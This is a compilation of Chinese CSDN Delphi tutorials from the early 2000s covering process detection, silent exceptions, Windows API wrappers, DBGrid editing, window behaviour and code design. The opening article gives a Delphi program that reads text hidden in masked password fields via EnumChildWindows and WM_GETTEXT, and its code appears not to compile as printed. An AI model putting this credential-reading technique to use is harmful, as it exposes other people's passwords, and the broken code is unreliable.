就是把子类对象如1个Button赋给父类(Tobject)对象的结果。


CSDN_文档中心_*****查看技术

Windows系统的密码是很脆弱的，因为所有的密码输入的时候都显示为********
表面上看这很安全，因为一般人不懂*******是什么东西，但其实要看到*******
下的内容是很容易的事，工作原理如下:
Windows是基于窗口的消息驱动型作业系统，每个窗口都有自已的属性,其中密码窗
口的属性是ES_PASSWORD，所以我们可以利用枚举子窗口EnumChildWindows的方法
来找出系统中所有子窗口，再检查其属性GetWindowLong，若是ES_PASSWORD则是个密码窗
然后用SendMessage()取得窗口标题，那就是******下的真正内容

=========下面是Delphi程序=====================

program LookPass;

interface

uses
Windows, Messages, SysUtils;
var
hcount:integer;

//这是一个窗口响应函数，注意：Result:=true很重要，因为只有这样才能连续扫描所有子窗口
function lpEnumFunc(hwnd:integer;uint:integer):boolean;stdcall;
var hw,hs,wlong:integer;
sbuf,sb2:array[0..256] of char;
sb1:string;
begin
//得到窗口的属性
wlong:=GetWindowLong(hwnd,GWL_STYLE);
//若属性为es_password则为密码窗
if (wlong and ES_PASSWORD)<>0 then
begin
inc(hcount);
//发送获取窗口标题的消息
sendmessage(hwnd,wm_gettext,40,integer(@sbuf));
//设置得到的密码
strpcopy(sbuf,format('[Password %d] = %s',[hcount,sbuf]));
//显示密码
end;
//result为true时继续扫描下一个子窗口
result:=true;
end;

begin
lp:=0;hcount:=0;
//枚举子窗口,GetDesktopWindow用来得到桌面的句柄
EnumChildWindows(GetDesktopWindow,@lpEnumFunc,lp);
end.
//////////////////////////////////////////////////////////////////////////////
作者:倪建华
Copyright (C) 2001-6-27 Allright Reserved.


CSDN_文档中心_查找一个特定的EXE是否在内存中运行

unit Find_Unit;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, TLHelp32, ComCtrls;

type
TProcessInfo=Record
ExeFileName:String;
ProcessID:DWord;
end;

type
TFindForm = class(TForm)
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
SB: TStatusBar;
Label1: TLabel;
Label2: TLabel;
procedure Button1Click(Sender: TObject);
function findthread(threadname:string):boolean;
private
{ Private declarations }
public
{ Public declarations }
end;

var
FindForm: TFindForm;

implementation

{$R *.DFM}

procedure TFindForm.Button1Click(Sender: TObject);
var hfile:thandle; r:boolean; tf:string;
begin
r:=false; //查找空间变量是否存在 eg: in win2000 "cdrom0" is a space value
hfile:=createfile(pchar(edit1.Text),Generic_Read or
Generic_Write,File_Share_Read or File_Share_Write,
nil,Open_Existing,File_Attribute_Normal,0);
if hfile<>Invalid_Handle_Value then
begin
CloseHandle(hfile);
r:=true;
end;
if r then sb.Panels[0].Text:='Space Find!' else sb.Panels[0].Text:='Space Not Found!';
tf:=edit2.text;
if pos('.',tf)=0 then tf:=tf+'.exe';
if findthread(tf) then sb.Panels[1].Text:='Thread Find!' else sb.Panels[1].Text:='Thread Not Found!';
end;

function TFindForm.findthread(threadname: string): boolean;
var //关键的过程
p:TProcessInfo;
OK:Bool;
ProcessListHandle:THandle;
ProcessStruct:TProcessEntry32;
begin
result:=false;
ProcessListHandle:=CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS,0);
ProcessStruct.dwSize:=SizeOf(ProcessStruct);
OK:=Process32First(ProcessListHandle,ProcessStruct);
while Integer(OK)<>0 do
begin
p.ExeFileName:=ProcessStruct.szExeFile;
// p.ProcessID:=ProcessStruct.th32ProcessID;
OK:=Process32Next(ProcessListHandle,ProcessStruct);
if uppercase(p.ExeFileName)=uppercase(threadname) then begin result:=true; exit; end;
end;
closehandle(ProcessListHandle);
end;

end.


CSDN_文档中心_沉默的异常--Delphi帮助寻宝之一

沉默的异常--Delphi帮助寻宝之一

作者: Musicwind®

创建时间: 2001-10-19

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

更新历史：No.2

更新时间：2001-10-21 02:42

更新人员：Musicwind®

更新备注：修改格式。

更新历史：No.1

更新时间：2001-10-19 21:15

更新人员：Musicwind®

更新备注：创建。

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

前言：沉浸于Delphi已逾三载，可是每每翻阅Delphi的帮助文档，还是会有许多收获，于是不免感慨Delphi的博大！在惭愧之余，将些许心得和收获整理，与诸位当中如我般自大而学识尚浅者，共勉。

1. 什么是沉默的异常？（为什么不是沉默的羔羊？;-））

沉默的异常，即 Slient Exceptions，指的是在缺省情况下不会出现讨厌的消息提示框的异常类型：EAbort。在Object Pascal中，异常类 EAbort 是所有沉默的异常类的祖先类（而EAbort是继承Exception而来）。引发(Raise)一个EAbort将导致一个执行模块的停止，直到有最外层的异常处理模块截获它，但是并不因此出现带有红色停止标志的消息框。参考如下代码：

try

ShowMessage('Hello1');

Raise EAbort.Create('Abort it');

ShowMessage('Hello2');

except

on E: Exception do

showmessage('On Exception');

end;

执行结果显示两个消息框，一个是”Hello1”，另一个是”On Exception”。这表明，EAbort确实发挥了作用，因为它跳过了”ShowMessage(‘Hello2’)”这个语句；同时，没有出现”Abort it”的消息框，也证实了EAbort异常类的不出现对话框的特点(在设计期间也是如此)；并且，消息框”On Exception”表明，虽然可能EAbort是个不同于普通异常的异数，但这并不妨碍我们沿用老的Try-Except语句来捕获它。

2. 为什么要用EAbort？

EAbort在某些场合下很有用。比如当我们需要终止某项操作，而又不希望让用户察觉（不想让他们看到默认的异常消息框）。当然，要达到相同的效果，使用普通的异常也可以做到（比如使用Try-Except句型，将代码放在Try段，需要终止操作则raise一个异常，而在Except段不写任何代码），但是这一切没有比使用EAbort来的简单又直接。

3. 有什么简便一点的吗？——使用Abort过程

SysUtils单元中定义的一个过程Abort可以让我们方便的使用EAbort。查看Abort的实现源码：

procedure Abort;

function ReturnAddr: Pointer;

asm

MOV EAX,[EBP + 4]

end;

begin

raise EAbort.Create(SOperationAborted) at ReturnAddr;

end;

这里的SOperationAborted通常就是” Operation aborted”。

4. 揭开面纱——实现原理

也许各位和我一样，对于EAbort为什么是沉默的感到好奇。Delphi在其内部，究竟对EAbort做了什么手脚呢？让我们一起来看个究竟。

打开一个新的工程，点击Find in Files，输入”EAbort”关键字，然后选中Search in Directories单选框，并将Search Directory Options中的File Mask编辑框设置为Delphi源码所在的目录名（比如我的是：D:\Program Files\Borland\Delphi6\Source\），同时别忘记给Include SubDirectory打勾。最后，点击”OK”开始搜索。

结果我们发现Delphi源码中与EAbort有瓜葛的达 17 处之多。除去Sysutils单元中两处对EAbort的声明以及部分注释语句，我们发现绝大多数代码类似于：

if ExceptObject is EAbort then

以及：

if not (E is EAbort) then

等等。

无一不是根据 RTTI 来对EAbort特殊对待的——原来EAbort的实现就这么简单！

值得关注的两个单元是：Forms(Linux版本为QForms)和AppEvnts，在前者的代码中我们更不难找到问题的答案。参见Delphi源码：

procedure TApplication.HandleException(Sender: TObject);

begin

if GetCapture <> 0 then SendMessage(GetCapture, WM_CANCELMODE, 0, 0);

if ExceptObject is Exception then

begin

if not (ExceptObject is EAbort) then

if Assigned(FOnException) then

FOnException(Sender, Exception(ExceptObject))

else

ShowException(Exception(ExceptObject));

end else

SysUtils.ShowException(ExceptObject, ExceptAddr);

end;

5. Abort与Break和Exit之区别

Abort和Break和Exit有些相似，又很不同。Break用来在循环语句中跳出一层循环。Exit用来跳出当前执行的函数体（或过程体）。Abort可以让你跳出一层或者多层代码段，直到有异常捕获的代码将它捕获。

6. 自定义沉默的异常

与声明一个普通异常类的子类相同，只需将EAbort及其子类作为祖先类即可：

TMyException = Class(EAbort);

TNextException = Class(EAbort);

等等。

Musicwind®@HangZhou.Zhejiang.China

2001-10-20

更多文章

[文终]


CSDN_文档中心_充分利用Windows API扩展Delphi函数

充分利用Windows API扩展Delphi函数
袁卫国

Borland Delphi是与Visual Basic相似的可视化开发工具,但其功能比VB更加强大。
例如,Delphi支持汇编语言和指针操作、全面支持Windows API函数及外部DLL的使
用,使得它具有更广泛的应用范围。即使用于编制一些较小的应用程序,Delphi与VB
相比看来不相上下, 但由于Delphi是编译型的语言,其编译后的EXE文件可以真正脱
离Delphi的环境独立运行,而VB 生成的EXE文件离开了VB软件包的一大堆DLL、
VBX等文件可能会无法执行。而更重要的是,一般用户往往并不真正知道自己开发
的VB程序到底使用了哪些DLL一类的文件,为了保证程序的正常运行,可能在最后的
安装盘中包含了不少其实并不需要的文件。所以,一般用户用VB很难开发出真正实
用的软件,难怪有人说VB是"先甜后苦"。Delphi实际上可以看作是VP(Visual Pascal),所
以它的易学性也可与VB媲美。今年发布的Delphi2.0可以为Windows 95、Window s NT
开发32位程序,使得VB 4.0的优势也不复存在。看来,在今后一段时间内,将会有更多
的人使用Delphi开发Windows应用程序。在DOS下开发过软件的人都知道int 2lh的重要。
与此类似,Windows应用程序也是离不开Windows API的,许多较底层的操作必须通过
API函数来实现。为此,无论是C++、VB还是Delp hi都无一例外地支持API函数的调
用,只是VB由于自身的特点所限制,仅支持部分API函数,而C++、Delphi则全面地支持
API函数。相比之下,Delphi对API函数的调用最简捷,达到了与自身的内部函数几乎
不分彼此的程度(只要求在interfaces中的user段中加上Windows即可,而这一步Delphi
会自动为您做到),VB则相当繁琐。以调用获得Windows系统子目录的API函数为例
,我们来看一下二者有什么不同:API函数格式的描述:WORD GetSystemDirectory(lpBuffer,
nSize)
VB 4.0调用时首先要做如下申明:
Declare Function GetSystemDirectory Lib"kernel32"(ByVal
lpBuffer As String, ByValnSize As Long)As Long
然后才能使用:
Dim lpBuffer As String *255
Size&=GetSystemDirectory(lpBuffer,255)
而Delphi只需像调用内部函数那样:
var lpBuffer:PChar;{API函数必须使用null结尾的字符串}
Size:WORD;{返回的系统子目录字符串实际长度}
begin lpBuffer:=StrAlloc(255);{预留字符串长度}
Size:=GetSystemDirectory(lpBuffer,255);end;
由此可见,Delphi是可以充分利用Windows API来扩展其自身功能的。当然,在大
多数情况下,Delphi本身的函数功能已经足够使用了。但是,在有些情况下,需要使
用API函数来实现一些特殊的功能或完善Delphi的一些功能。下面提供两个实例
来说明这一点。
一、信息框函数MsgBox
信息框是Windows应用程序中使用得较多的一种对话机制,它被广泛地用于提
示、选择程序走向,是一个重要的程序控制手段。Delphi提供的信息框函数MessageDlg
功能比较强,其最大优点是可以任意设定信息框的按钮(使用了集合类型),但其缺
点也是很明显的,主要表现在标题字符串不能由用户自己设置;窗口弹出时寂静无声
;按钮不能随着Windows的不同语言的版本显示不同的文字(例如无论在哪种语言版
本下都只能显示"OK"、"Yes"等英文字符)。这些优点和缺点都是由于它是Delphi
自己实现的,而不是通过调用系统API函数实现的,故不能使用系统的语言环境、
多媒体等资源。这样,所开发的程序在中文版中显示信息框时与周围的窗口显得
极不协调。而VB在这方面却做得较好,所以我们按照VB的格式自定义一个信息
框函数MsgBox。下面的函数都假定是在TForml中定义的。为了使用方便,我们首
先在Interfaces段中定义一些符号常量:
const
{第一组:按钮内容选择}
OKOnly=0;{仅显示"确定"按钮}
OKCancel=1;{显示"确定"和"取消"按钮}
AbortRetryIgnore=2;{"中止""重试""放弃"}
YesNoCancel=3;{"是""否""取消"}
YesNo=4;{"是"和"否"}
RetryCancel=5;{"重试""取消"}
{第二组:显示图标选择}
Critical=16;{"STOP"图标}
Question=32;{"?"图标}
Excalamation=48;{"!"图标}
Information=64;{"i"图标}
{第三组:缺省指针位置(激活状态)}
DefaultButton1=0;{第一按钮}
DefaultButton2=256{第二按钮}
DefaultButton3=512{第三按钮}
{第四组:信息框方式}
ApplicationModal=0;{应用方式}
SystemModal=4096;{系统方式}
然后,建立函数MsgBox,由于API函数中使用的字符串必须以mull结尾,所以使用了另
一个自定义的函数StrToPch来将Pascal类型字符串转换成为以mull结尾的字符串。参
数说明 msg为信息框标题变量; mbType为规定信息框类型的变量,使用方式是"mbType=
按钮内容+图标+缺省指针+信息框方式"。便如您想得到一个含"确定"和"取消"两个按
钮、带"?"图标、缺省指针指向第二个按钮(即"取消")的信息框,那么就该这样设置:
mbType:=OKCancel+Question+DefaultButton2;
title为信息框中显示文本的变量。
MsgBox的返回值与MessageDlg函数的返回值完全一样,例如返回mrYes表示"Yes"或
"是" 按钮被按下,mrNo表示"No"或"否"按钮被按下等等。可参考MessageDlg函数的说
明。下面即是在Delphi中通过调用Windows API的GetActive Windows函数和MessageBox
函数来实现MsgBox函数的代码:{信息框函数}
 function TForm1.MsgBox(msg:string;mbType:Word;title:stri
ng):Word;
var hWnd:HWND;
1pText,!pCaption:Pchar;
begin
1pText:=StrToPch(title);
1pCaption=StrToPch(msg);
hWnd:=GetActiveWindow();
MsgBox:=MessageBox(hWnd,1pText,1pCaption,mbType);
end;
{将Pascal字符串转换成null结尾字符串函数}
function TForm1.StrToPch(Str:string):PChar;
var
a:PChar;
begin
a:=StrAlloc(Length(Str)+1);
StrPCopy(a,Str);
StrToPch:=a;
end;

二、文件拷贝函数CopyFDelphi提供了一组比较完整的文件操作函数,用它们可以完
成几乎全部的文件操作,但恰恰缺少拷贝文件的函数。而文件拷贝的使用应该说是比
较常用的,因此,笔者利用几个API函数定义了一个功能很强的文件拷贝函数CopyF。
该函数代码如下(请注意:该函数中调用了上述的MsgBox函数):
{文件拷贝函数}
function TForm1.CopyF(var ExistingFileName:string;const
NewFileName:string; var Mode:Integer):Boolean;
var
EFile,NFile:PChar;
CpFlag,FailIfExists:Boolean;
msg:string;
ErrID,mbType:integer;
begin
EFile:=StrToPch(ExistingFileName);
NFile:=StrToPch(NewFileName);
if (Mode=1) or (Mode=3) then FailIfExists:=True
else FailIfExists:=False;
CpFlag:=CopyFile(EFile,NFile,FailIfExists);
if not CpFlag then
begin
ErrID:=GetLastError();
ExistingFileName:=SysErrorMessage(ErrID);
if Mode<2 then
begin
msg:='CopyFile Error!';
mbType:=OKOnly+Excalamation;
MsgBox(msg,mbType,ExistingFileName);
end;
Mode:=ErrID;
end;
CopyF:=CpFlag;
end;
CopyF函数参数说明如下:
若拷贝操作成功,函数CopyF返回True,失败函数CopyF返回False。
ExistingFileName是字符变量,输入时代表源文件名。若操作失败,则返回错误信息字符
串(由于调用了API函数,在中文Windows下该信息当然就是中文)。 NewFileName是字符
常量,代表目标文件名。
Mode是整数变量,输入时代表拷贝的方式:
0表示如果目标文件存在,将覆盖它,操作失败,将显示具有出错信
息的信息框;
1表示如果目标文件存在,不覆盖它,操作失败,显示具有出错信息
的信息框;
2表示如果目标文件存在,将覆盖它,操作失败,不显示信息框;
3表示如果目标文件存在,不覆盖它,操作失败,不显示信息框;
当拷贝操作失败时,Mode将返回出错代码。
总之,灵活应用API函数可以使您的应用程序的界面与您使用的Windows的语言环境相
当和谐地融为一体,摆脱掉Delphi的痕迹,使您的程序给人以相当"专业"的感觉。最后说明
一点,如果要使这些自定义的函数成为"全局"的,在其它单元中也能够使用,需将函数标题
复制到Unitl单元interfaces的type段中(应删除"TForml."几个字符);然后在调用函数的其他单
元implementation中的user段中加入Unitl;在函数名前要加上"Form1."几个字符,如在Unit2单
元中调用MsgBox就应写成Form1.MsgBox。
(以上所有函数均在Windows 95中文版使用Delphi Desktop V2.0
调试通过)


CSDN_文档中心_处理数据栅格的编辑框

(*//
标题:处理数据网格的编辑框
说明:示例添加焦点颜色;获取还没有提交到数据集的字段文本
设计:Zswang
日期:2002-03-31
支持:wjhu111@21cn.com
//*)

///////Begin Source
function GetDBGridEdit(mDBGrid: TDBGrid): TEdit;
var
I: Integer;
begin
Result := nil;
if not Assigned(mDBGrid) then Exit;
if not mDBGrid.EditorMode then begin
mDBGrid.EditorMode := True;
mDBGrid.EditorMode := False;
end;
with mDBGrid do for I := 0 to Pred(ComponentCount) do
if Components[I] is TCustomEdit then begin
Result := TEdit(Components[I]);
Break;
end;
end; { GetDBGridEdit }

function GetDBGridEditText(mDBGrid: TDBGrid): string;
var
vEdit: TEdit;
begin
vEdit := GetDBGridEdit(mDBGrid);
if Assigned(vEdit) then
Result := vEdit.Text
else Result := '';
end; { GetDBGridEditText }
///////End Source

///////Begin Demo
procedure TForm1.DBGrid1Enter(Sender: TObject);
var
vEdit: TEdit;
begin
vEdit := GetDBGridEdit(TDBGrid(Sender));
if Assigned(vEdit) then vEdit.Color := clYellow;
end;

procedure TForm1.DBGrid1KeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
Caption := GetDBGridEditText(TDBGrid(Sender));
end;
///////End Demo


CSDN_文档中心_创建Borland风格的漂浮式窗口

创建Borland风格的漂浮式窗口

使用过Borland 系列开发工具产品（Delphi, C++Builder, Jbuilder）的朋友一定注意到Borland产品界面风格的特点，即屏弃了MDI（多文档界面），而采用分离的多窗口，特别是主窗口浮动于屏幕的最上方，当最大化时主窗口并不占满整个客户区，而是仍处在屏幕上方，使用户可以有更多的空间使用。那么如何才能实现类似于主窗口这样的效果呢？现在就在此介绍一下用Delphi实现的方法。

要实现上面所说的主窗口的效果，必须要做到三点：1、程序启动时使主窗口位于屏幕的最上方，且宽度充满整个屏幕；2、当用户拖动停靠工具条（Dockable ToolBar/CoolBar）时，窗口能自动调整大小；3、当用户点击最大化按钮时，窗口保持在屏幕最上方，且大小保持不变。

现在假设当前项目的主窗口(frmMain)中含有一个名为cbMain的CoolBar（一般主窗口只包含菜单和工具条）。将TfrmMain的Autosize属性设为False。

具体步骤如下：

1、 为主窗口添加OnCreate事件，代码如下：

procedure TfrmMain.FormCreate(Sender: TObject);

begin

Top:=0; //设定主窗口左上角到屏幕左上角

Left:=0; //

Width:=Screen.Width; //设定主窗口宽度为屏幕宽度

end;

Screen为系统预定义的类实例，对应与系统桌面，从其中可获取屏幕的一些参数。

2、 在TfrmMain的定义部分添加私有成员：

private

H:integer ;

为主窗口添加OnResize事件，代码如下：

procedure TfrmMain.FormResize(Sender: TObject);

begin

ClientHeight:=cbMain.Height; //将窗口客户区高度设为CoolBar的高度

H:=Height; //将当前的窗口高度保存在变量H中

end;

由于窗口初始化时或点击最大化按钮时都会触发OnResize事件，因此可以保证窗口高度始终正确。

3、 这是最关键的一步，我们必须改变Windows默认的最大化例程，来控制最大化后的窗口大小和位置。因此，我们重新映射响应WM_ GETMINMAXINFO的句柄。WM_GETMINMAXINFO消息在lparam中返回一个指向MINMAXINFO结构的指针，MINMAXINFO的结构如下：

tagMINMAXINFO =record

ptReserved : TPoint; //系统保留

ptMaxSize : TPoint; //最大化后的大小

ptMaxPosition : TPoint; //最大化后的位置

ptMinTrackSize : TPoint; //窗口的最小尺寸

ptMaxTrackSize : TPoint; //窗口的最大尺寸

End;

MINMAXINFO : tagMINMAXINFO;

针对我们的目的,只需要ptMaxSize,ptMaxPosition两个成员就够了。Windows在最大化窗口通过调用这个结构作为参数，来取代默认的最大化参数。

具体操作如下：

在TfrmMain的定义部分添加私有成员定义：

private

procedure FormMaximum(var Msg:TMessage);Message WM_GETMINMAXINFO;

以定义WM_GETMINMAXINFO的消息处理句柄。

在Implementation部分添加实现代码：

procedure TfrmMain.FormMaximum(var Msg:TMessage);

var

lpmmi:^tagMINMAXINFO;

begin

lpmmi:=Pointer(Msg.LParam); //获取指向tagMINMAXINFO的指针

lpmmi^.ptMaxSize:=Point(Screen.width,H); //设定窗口的长宽

lpmmi^.ptMaxPosition:=Point(0,0); //设定窗口左上角的位置

end;

有一点要注意：lpmmi^.ptMaxSize:=Point(Screen.width,H);一句不能写成lpmmi^.ptMaxSize:=Point(Screen.width,frmMain.Height); 这是由于Tform是VCL控件，在此消息处理句柄中不可以直接引用Tform中的成员。

到此，大功告成了！其他一些细节，如是否允许用户改变窗口大小，是否可以拖动窗口，都可以通过简单调节而实现，就全看你的需要了。


CSDN_文档中心_创建良好设计的代码（基于Delphi/VCL）

东日文档

我们平时都会写很多代码，为公司，为自己或者为朋友。有时，为了验证自己的一个想法，或学习
某一个技术，会写一些试验性的代码。这样的代码的生命周期很短，基本不需要维护，随意写一下就可
以。但是，当你真正要完成一个 Project 的时候，代码设计就非常重要。因为这样的代码是需要长期
维护，不断修改或增强的。设计凌乱的代码会使得维护非常困难或者根本不可能，修改这样的代码意味
着产生更多的 bug 或者就是灾难。

既然，代码设计如此重要，我们就不能忽视它。那么，如何设计代码呢？面向对象编程技术可以帮
助我们。在此，插一些题外话，很多程序员将面向对象编程（OOP）技术和面向对象（OO）技术混淆。就
我自己的认识来说，面向对象技术是一门博大精深的学问，它是一种方法论或者说是一种世界观，而面
向对象编程技术只是提供一种在编码时运用面向对象的一种方法。

以下是笔者看了一些相关的书籍和在日常实践中得出的一些体会，希望和大家分享一下。

首先，让界面代码和功能代码分离。需要牢记的一个原则，就是不要将复杂的功能逻辑写在界面代
码中。界面窗体的实现文件只用来存放界面代码，而将复杂的功能代码独立出来。举个简单的例子，
假设要从某处获得一个字符串列表，然后显示于 TListBox 中，这样的代码就是值得尊敬的：
ObjectXXX := TObjectXXX.Create;
ListBox1.Items := ObjectXXX.GetStringList;
ObjectXXX.Free;
这样就把获得该字符串列表的复杂逻辑封装于 TObjectXXX 类的实现代码中，并且可以将这个类的定义
及实现独立的放在一个 .pas 文件中，以便于维护。将界面代码和功能代码分离还有另外一个好处，
一个功能的实现代码可能会被多个界面模块调用，如果将功能实现代码在需要的地方就复制一份，那么
你就会有多个相同的模块需要维护，如果需要修改的话，呵呵，几乎不可能保证你不会出错。

其次，让每个模块的逻辑尽可能简单。经验告诉我们，对于过于复杂的逻辑，会给人的理解带来困
难。所以，尽可能的让每个模块的代码简单，一般不要超过 25行代码。当你发现你写的逻辑正在趋于
复杂，那么这个时候是你寻找对象的时机了，看看能不能将其中的一些逻辑独立出来。

最后，就是要注意变量的命名。经常查看 VCL 源代码，你会发现，VCL类中私有成员变量都以“F”
打头，类名都以“T”打头等等这样的规则。这样有什么好处？当别人查看这样的代码时，一旦看到“F”
开头的，就立刻可以知道它是该类的私有成员，便于代码的维护。


CSDN_文档中心_从 Form1.Caption = “Hello World”说起

从Form1.Caption = “Hello World” 说起

与很多人一样，我的第一个Windows程序也是从Visual Basic开始的，我们的文章标题就是来自VB中的一条简单语句，作用是改变程序窗体标题。当然在不同的开发工具中也可以表现为以下形式:

Visual Basic :

Form1.Caption = “Hello World” 或 me.Caption = “Hello World” 或直接 Caption = “….”

C++Builder: Form1->Caption = “Hello World”;

Delphi : Form1.Caption := ‘Hello World’;

Visual C++ : SetWindowText(“Hello World”);

以及原始的 SDK 中的实现形式:

SetWindowText(hMain, “Hello World”); (假设hMain是主窗体的句柄)

这么列出来不是为了比较编程语言的不同，我们的问题是：当我们简单的将一个字符串赋给Caption(这儿也可以是别的变量名)后,编译器又做了那些事来设置窗体标题的。答案很简单:编程语言可以有很多种，但Windows只有一个，它们都调用了Api函数:SetWindowText(),或直接发一个WM_SETTEXT消息给指定窗体。

SetWindowText函数原型为:

BOOL SetWindowText(

HWND hWnd, // handle of window or control

LPCTSTR lpString // address of string

);

两个参数分别为:窗体句柄，与字符串地址，并且根据操作的成功与否返回:TRUE, FALSE;由此看来Visual C++的调用形式倒比较容易理解,MFC类库封装了一组同名函数,并通过C++类的封装，简化了操作，具体的MFC实现大致是如下形式:

void CWnd::SetWindowText(LPCTSTR lpszString)

{

ASSERT(::IsWindow(m_hWnd)); //先检查m_hWnd是否为有效的窗体句柄

//调用Api函数，m_hWnd是CWnd类的内部成员变量,代表该窗体的句柄

::SetWindowText(m_hWnd, lpszString);

}

这是MFC简化了Windows编程的一个表现。

当然SetWindowText不只是用来置对话框或主窗体标题，由于我们在屏幕上看到的各种按钮(Button)，编辑框(Edit), 文本标签(Static或Label)等控件实际上都是大大小小的窗体或子窗体,因此你也可以由此设置某个按钮的标题。反之要获得窗体的标题可以用GetWindowText函数，函数原型与SetWindowText类似。虽然Set, Get, WindowText很容易理解但还是没有简单的：

设置标题用: s1 = “Hello World”, Caption = s1

获得标题用 s1 = Caption

看起来更直观。

好的，那么我们就来看看C++Builder与Delphi中是如何实现的。

在刚刚使用C++Builder的时候，我除了惊讶C++Builder设计应用程序的快捷方便外，另一个令人困惑的问题就是当我写了 Form1->Caption = “Hello World”;时C++Builder是如何实现SetWindowText操作的,熟悉C++的朋友都知道: 假设Form1是一个类的实例，那么当我们写出 Form1.bOk = true; 或Form1.nSize = 12;这样的语句时我们是在对一个类的成员变量赋值。如果Form1是一个指针则以上句子就是: Form1->bOk = true; Form1->nSize = 12;而对一个变量成员赋值的单条语句除了简单的赋值操作外，按照C++的语法并不会做别的事。如果要进行有关操作如显示一个消息框，就应该调用相应的成员函数。当时我的理解是C++Builder一定是在内部调用了相应的Set,Get开头的成员函数。并且没有理由的认为编译器是当我们按下开始编译后先扫描一下当前的代码行，碰到Caption = “….”这样的语句就把它替换为内部的 Form1.SetCaption(“….”);

当然事情不会这么简单，由于C++Builder与Delphi共享同一个VCL类库，甚至可以使用以Pascal语言编写的组件库，因此C++Builder在某种意义上讲已经不是一个纯粹的C++编译环境了，显然Borland公司对C++Builder做了一些小手脚，使之与Delphi相兼容。这么做好处很多，二者使用类似的IDE环境，使用同一种窗体(*.dfm)格式，最重要的是使用同一个VCL类库。只要使用过一种开发环境后，就很容易掌握另一个开发工具。缺点是在我们在C++Builder中调试程序时很容易就会跟踪到一大堆以begin, end开始的Pascal语句。也就是前面说的二者使用同一个VCL类库的结果。很遗憾当时我对Pascal语言一窍不通，也没兴趣看，因此对于C++Builder中的实现形式还是不清楚，只是隐隐约约觉得是C++Builder调用的某些Pascal代码在实现以上操作。

后来因为”工作需要”，要维护一个用Delphi写的考试程序，临时突击了一下Pascal语言。其中看到Pascal类的实现时才终于解决了我在C++Builder中的疑问。与C++类似，在Object Pascal中也支持相似的类实现。有自己的:private, protected,public，以及类的继承等等。一个简单的Pascal类大致为以下形式:

TMyPoint = class(TObject)

private

FX, FY : Integer;

public

function PtInRect(const r : TRect) : boolean;{判断当前的点是否在指定的Rect中}

function GetX : integer;

function GetY : Integer;

//设置FX 为 nX,并进行错误检测,也可以根据需要执行某些操作

procedure SetX(const nX : integer);

procedure SetY(const nY : integer);

end;

其中的SetX, GetX分别用来设置与获得当前的X位置。将FX设为类的私有变量并通过SetX函数设置FX的好处在于当调用SetX时若给出了一个不合适的值(如：负数，或超出特定范围)时能够给出一个Assert断点，以提醒程序员，或在实际执行中一律将不合适的值转换为0,并抛出一个异常。

当然我们会想如果既能简单的: pt.X := 12; a1 := pt.Y;而且在赋值时又能进行错误检测就更方便了;幸运的是Borland的程序员在设计VCL (Visual Component Library)时也是这么想的，由此在Delphi中引入了一组新的关键字: property,read,write;以实现以上需要，改写的TmyPoint类为如下形式:

1: TMyPoint = class(TObject)

2: private

3: FX, FY : Integer;

4: procedure SetX(const nX : integer) ;

5: procedure SetY(const nY : integer) ;

6: function GetX : Integer;

7: function GetY : Integer;

8: public

9: {判断当前的点是否在指定的Rect中}

10: function PtInRect(const r : TRect) : boolean;

11: property X : Integer read GetX write SetX ;

12: property Y : Integer read GetY write SetY ;

13: end;

14:

15: procedure TMyPoint.SetX(const nX: integer);

16: begin

17: if (nX<0) or (nx>1000) then

18: FX := 0

19: else

20: FX := nX;

21: end;

22:

23: function TMyPoint.GetX: Integer;

24: begin

25: result := FX;

26: end;

27:

这样当你执行: pt.X := 200时编译器知道你要执行一个write操作,就会自动跳到procedure TMyPoint.SetX(const nX: integer);处以进行赋值,反之当为read操作时则调用GetX函数。如果GetX只是简单的返回内部的FX值也可以将11行改为:

property X : Integer read FX write SetX ;

由此可知:当我们在Delphi,或C++Builder中写下Form1.Caption = “…..”时，真正执行的是某个具体的函数，而不是赋值操作,在这背后并没有什么魔法存在，一切是那么的清楚。如同C++的操作符重载一样,Delphi也重载了类的”.”操作符，这么做不仅看起来更直观，减少了代码书写，从某种意义上讲也体现了面向对象程序设计的思想。

好了，该谈谈VB了，实际上VB并不是一个完全面向对象的语言，缺少许多必备的语言特性，如虽然提供了类的实现，却不允许类的继承，此外在类型检查，错误处理上也不够健壮。最糟糕的是微软并没有像VC6.0一样提供类似的MFC源代码。当你想跟踪VB中的InputBox，Msgbox,Sqr，trim函数时你是看不到具体实现的。这样就阻止了我们去了解VB中 Caption = “Hello World”的实现原理，当然擅长DEBUG的朋友可以自己去发掘。好消息是据说在VB.net中BASIC语言已被扩展为完全的面向对象语言，并支持异常处理。我翻了几本VB.net与C#的书，感觉上VB.net中的Basic更像C++语言了，比如在异常处理这一块，而C#倒很像现在的VB，增加了一大堆”.”操作。（顺便说一句，因为在学习.Net上大家还处在盲人摸象的阶段，所以书店里的.Net系列图书大都很糟糕，请小心挑选。）

小结:

本文简单的分析了VB,VC,C++Builder,Delphi中Caption = “…”操作的实现原理。所谓“存在的就是合理的“不等于我们看到就都是理所当然的。在进行程序设计时，多问几个为什么有助于提高自己的程序设计水平。

好了，不经意间拉拉扯扯写了这么多，唯一的问题是这样的文章适合什么人看，高手不用看，太简单了。新手又可能看不大懂我在说什么:p,如果你喜欢这篇文章或有什么问题与建议请与我联系(fpefans@sina.com)。

by 纪杨 2-5-2002

如要转载,请保持文章的完整性，别的随便。


CSDN_文档中心_从delphi6,kylix看borland的未来发展

过如果delphi能够提供对系统底层的开发，那就更爽了。
在对win平台的底层开发方面，delphi还是很难和vc竞争，不是工具，也不是语言，而是borland不掌握操作系统，受制与人。这是ms的很残忍的竞争策略的结果。如果delphi6要在底层开发这方面和ms叫劲，那么delphi恐怕又是一个borland c++.
现在，delphi的发展方向很明确，既支持win又不受之于win,同时又支持linux的应用开发，有自己的技术创新，比方说dbexpress，6更增加了对sun.one
的支持，更是爽歪歪了。对soap,xml的支持使开发人员更加便捷的开发分布式应用。

如果估计不错的话，6应该提供idl2pas的映射，那么用6作corba的开发更是爽。
